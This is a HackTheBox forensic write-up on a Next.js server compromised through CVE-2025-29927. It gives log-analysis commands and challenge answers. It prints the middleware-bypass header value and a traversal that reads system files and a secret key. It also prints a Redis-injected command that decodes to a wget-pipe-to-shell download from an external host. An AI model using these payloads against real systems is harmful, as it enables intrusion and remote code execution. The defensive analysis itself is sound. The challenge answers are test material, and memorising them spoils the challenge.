// HackTheBox  ·  writeup

NeuroSync-D

HackTheBox Easy grepbase64unzip
DFIR

Scenario

In this Challenge/Sherlock pair you will need to combine your offensive and defensive skills to emulate the threat actor’s attack chain on the web server to retrieve the flag and then analyse logs from the application stack to investigate and understand how CVE-2025-29927 is being exploited.

Executive Summary

An attacker fingerprinted a Next.js application by probing for framework static files, then found an API route guarded by middleware that answered every request with 401. They abused the x-middleware-subrequest header, growing the value one repetition at a time until the middleware stopped running. The bypass gave them a request primitive that reached an internal data API, which they mapped with a port sweep and a wordlist of paths. A log-reading endpoint on that API accepted a traversal payload, and the attacker used it to read system files, the API source, and a secret key. They then pushed a signed command into the Redis queue that drives the application, which decoded to a download-and-execute one-liner against an external host.

Artifacts

Timestamp note: access.log and the application logs are UTC and line up with each other. redis.log uses Unix epoch seconds, so convert before comparing.

Initial Access

Q1 — What version of Next.js is the application using?

The Next.js startup banner is printed to stdout and lands in interface.log. Grep for it and read the version off the banner line.

unzip -P hacktheblue NeuroSync.zip -d work/x
grep -h "Next.js" interface.log
Click flag to reveal 15.1.0
Q2 — What local port is the Next.js-based application running on?

The line under the banner shows the Local: address the server bound to. The proxy in front of it forwards external requests to that port, which is also visible in the x-forwarded-port header on every proxied request.

grep -h "Local:" interface.log
Click to reveal answer 3000
Q3 — A critical Next.js vulnerability was released in March 2025, and this version appears to be affected. What is the CVE identifier for this vulnerability?

This one comes from reference knowledge rather than an artifact. The Next.js version from Q1 predates the fix for the March 2025 middleware authorization bypass, where a crafted x-middleware-subrequest header makes Next.js skip middleware entirely. The scenario text names the same CVE, and the headers captured in interface.log later in the log confirm that header is the one being abused.

Click flag to reveal CVE-2025-29927
Q4 — The attacker tried to enumerate some static files that are typically available in the Next.js framework, most likely to retrieve its version. What is the first file he could get?

Filter the proxy log for /_next/static requests from the attacker IP and read the status codes in order. The first probe, a commons.js chunk, returns 404. The next request, for an app chunk under the same directory, returns 200 with a large body. That first success is the answer.

grep "/_next/static" access.log

Gotcha: The first file requested is not the first file served. Read the status column, not just the order.

Click to reveal answer main-app.js
Q5 — Then the attacker appears to have found an endpoint that is potentially affected by the previously identified vulnerability. What is that endpoint?

After the static probing, the same IP starts hitting an API route over and over in access.log, each time getting a 401. A route that sits behind authentication middleware and rejects anonymous requests is exactly what the bypass targets, and the attempts are followed by requests carrying the bypass header.

grep '" 401 ' access.log
Click flag to reveal /api/bci/analytics
Q6 — How many requests to this endpoint have resulted in an "Unauthorized" response?

Count the 401 responses for the Q5 path. They run back to back over a few seconds, which fits a scripted loop.

grep '/api/bci/analytics' access.log | grep -c '" 401 '
Click to reveal answer 5
Q7 — When is a successful response received from the vulnerable endpoint, meaning that the middleware has been bypassed?

The first 200 on the Q5 path comes straight after the last 401, one second later. The proxy log is UTC, so the timestamp converts directly to the requested format.

grep '/api/bci/analytics' access.log | grep -m1 '" 200 '
Click flag to reveal 2025-04-01 11:38:05
Q8 — Given the previous failed requests, what will most likely be the final value for the vulnerable header used to exploit the vulnerability and bypass the middleware?

interface.log records the request headers for each attempt. Four of them carry x-middleware-subrequest with the value middleware repeated once, twice, three and four times, each separated by a colon, and each ends in a 401. Q6 counted five 401s in total and the next request succeeded, so the final value is the same pattern with five repetitions. This is reasoned from the pattern rather than read directly: the header of the successful request itself is not in the log. It also matches the Next.js recursion limit, which skips middleware once the repeated name reaches five levels.

grep -o '"x-middleware-subrequest","[^"]*"' interface.log

Gotcha: The log shows only the failed headers. The winning value has to be extrapolated from the repetition count.

Click to reveal answer x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Discovery

Q9 — The attacker chained the vulnerability with an SSRF attack, which allowed them to perform an internal port scan and discover an internal API. On which port is the API accessible?

Switch to data-api.log. Its startup line states the port it listens on, and the Host header of the requests the attacker relayed through the web app (localhost:<port>, then 127.0.0.1:<port>) shows the same value. These requests arrive from loopback with a curl user agent, which is the SSRF landing inside the host.

grep -E "running on port|Request headers" data-api.log
Click flag to reveal 4000
Q10 — After the port scan, the attacker starts a brute-force attack to find some vulnerable endpoints in the previously identified API. Which vulnerable endpoint was found?

Between 11:38:27 and 11:38:37 data-api.log fills with GETs for common paths: /, /health, /admin, /debug, /status, /login, /users. That is the wordlist. The vulnerable endpoint is the first path that then shows up with a user-controlled parameter, logFile, which is not part of the wordlist noise.

grep "Incoming request" data-api.log
Click to reveal answer /logs

Collection

Q11 — When the vulnerable endpoint found was used maliciously for the first time?

Filter for the logFile parameter. The first hit carries a traversal payload that ends in a system account file, so it is malicious rather than a legitimate log read.

grep -m1 "logFile" data-api.log
Click flag to reveal 2025-04-01 11:39:01
Q12 — What is the attack name the endpoint is vulnerable to?

The logFile value is /var/log/ followed by sequences like ../.../...// and then an arbitrary absolute path, which is traversal with filter-evasion padding. The server resolves it and returns the file, so the endpoint takes user input into a filesystem read. This is classified from the payload shape rather than from a server response; the log has no response bodies.

Click to reveal answer Local File Inclusion
Q13 — What is the name of the file that was targeted the last time the vulnerable endpoint was exploited?

Read the tail of the logFile requests. The sequence runs through /etc/passwd, /proc/self/environ, an application log and the API’s own index.js, and finishes with one file under /tmp at 11:39:24, two seconds before the Redis injection in Q14.

grep "logFile" data-api.log | tail -n 1
Click flag to reveal secret.key

Execution

Q14 — Finally, the attacker uses the sensitive information obtained earlier to create a special command that allows them to perform Redis injection and gain RCE on the system. What is the command string?

redis.log is a command monitor. The application consumes bci_commands with a blocking pop, and almost every push is a harmless movement command. One RPUSH stands out: an OS_EXEC verb followed by a base64 field and a 64-character hex field. That fits the Q13 finding, since the key read from the server is the sort of material needed to produce the trailing value. The blpop that pops it comes a few milliseconds later. The monitor timestamp is epoch 1743507566, which is 11:39:26 UTC, right after the last logFile request.

grep "OS_EXEC" redis.log
Click to reveal answer OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb
Q15 — Once decoded, what is the command?

Decode the middle field from Q14. It is a wget to an external host that writes the script to stdout and pipes it into a shell, so the payload is fetched and run in one step with nothing left on disk.

echo d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo | base64 -d
Click flag to reveal wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

Attack Summary

PhaseAction
Initial AccessProbes /_next/static chunks to fingerprint the framework; one 404, then a 200
Initial AccessRepeated 401s on an API route guarded by middleware
Initial Accessx-middleware-subrequest value lengthened each try until the middleware is skipped and the route returns 200
DiscoverySSRF through the bypassed route reaches an internal API on loopback after a port sweep
DiscoveryWordlist requests against the internal API turn up a log-reading endpoint
CollectionTraversal through the logFile parameter reads system files, the API source and a secret key
ExecutionSigned OS_EXEC command pushed to the Redis command queue
ExecutionQueue consumer runs a wget ... | sh one-liner from an external host

Forensic Timeline

Timestamp (UTC)Event
2025-04-01 11:35:09Internal data API starts and listens on its port
2025-04-01 11:37:40commons.js requested, 404
2025-04-01 11:37:44main-app.js requested, 200
2025-04-01 11:37:58First 401 on the protected API route
2025-04-01 11:38:05First 200 from the protected route; middleware bypassed
2025-04-01 11:38:27First relayed request hits the internal API
2025-04-01 11:38:35Wordlist requests against the internal API (/admin, /debug, /status)
2025-04-01 11:39:01First traversal request on the log endpoint (/etc/passwd)
2025-04-01 11:39:24Last traversal request, for the secret key
2025-04-01 11:39:26OS_EXEC pushed to bci_commands in Redis

IOCs

TypeValue
Attacker IP10.129.231[.]211
IP (payload host)185.202.2[.]147
URLhxxp[://]185[.]202[.]2[.]147/h4Pln4/run[.]sh
Headerx-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Endpoint/api/bci/analytics
Endpoint/logs?logFile= (traversal)
File read/tmp/secret.key
Redis keybci_commands

MITRE ATT&CK

TechniqueIDDescription
Exploit Public-Facing ApplicationT1190CVE-2025-29927 middleware bypass on the Next.js route
Active Scanning: Wordlist ScanningT1595.003Path brute force against the internal data API
Network Service DiscoveryT1046Internal port sweep through the SSRF
Data from Local SystemT1005Traversal reads of passwd, environ, source and the secret key
Command and Scripting Interpreter: Unix ShellT1059.004OS_EXEC command piped into sh
Ingress Tool TransferT1105wget of run.sh from an external host

Defender Takeaways

Patch Next.js, and strip the header at the edge. Version 15.1.0 was exposed to the middleware bypass. Upgrading is the real fix. Until then, drop x-middleware-subrequest from inbound requests at the proxy, since no legitimate client should ever send it.

Treat a run of 401s followed by a 200 on the same path as an alert. Five rejections in about six seconds, then a success from the same IP, is a clear bypass-by-iteration signal. Log request headers on authenticated routes so the winning value is on record, which this application did not do for the successful call.

Do not trust the network boundary between the web tier and internal services. The data API on loopback served anything the SSRF relayed to it. Add authentication on internal APIs and restrict where server-side fetches can go.

Canonicalise and allowlist file paths. The /logs endpoint joined user input onto a base directory and read the result. Resolve the final path and compare it against an allowed directory, or accept log names from a fixed list.

Authenticate the command queue and keep secrets off readable paths. A key stored under /tmp was enough to forge a valid command, and the consumer ran OS_EXEC content with no further checks. Remove shell-execution verbs from the queue, and alert on any Redis push containing an exec verb.

Conclusion

One missing header check turned a 401 wall into an open door, and each following weakness (a trusting internal API, an unsanitised file path, a command queue that ran shell strings) let the attacker go further without a single exploit beyond the first. The logs recorded the whole chain; correlating the proxy, API and Redis logs by time is what reveals it.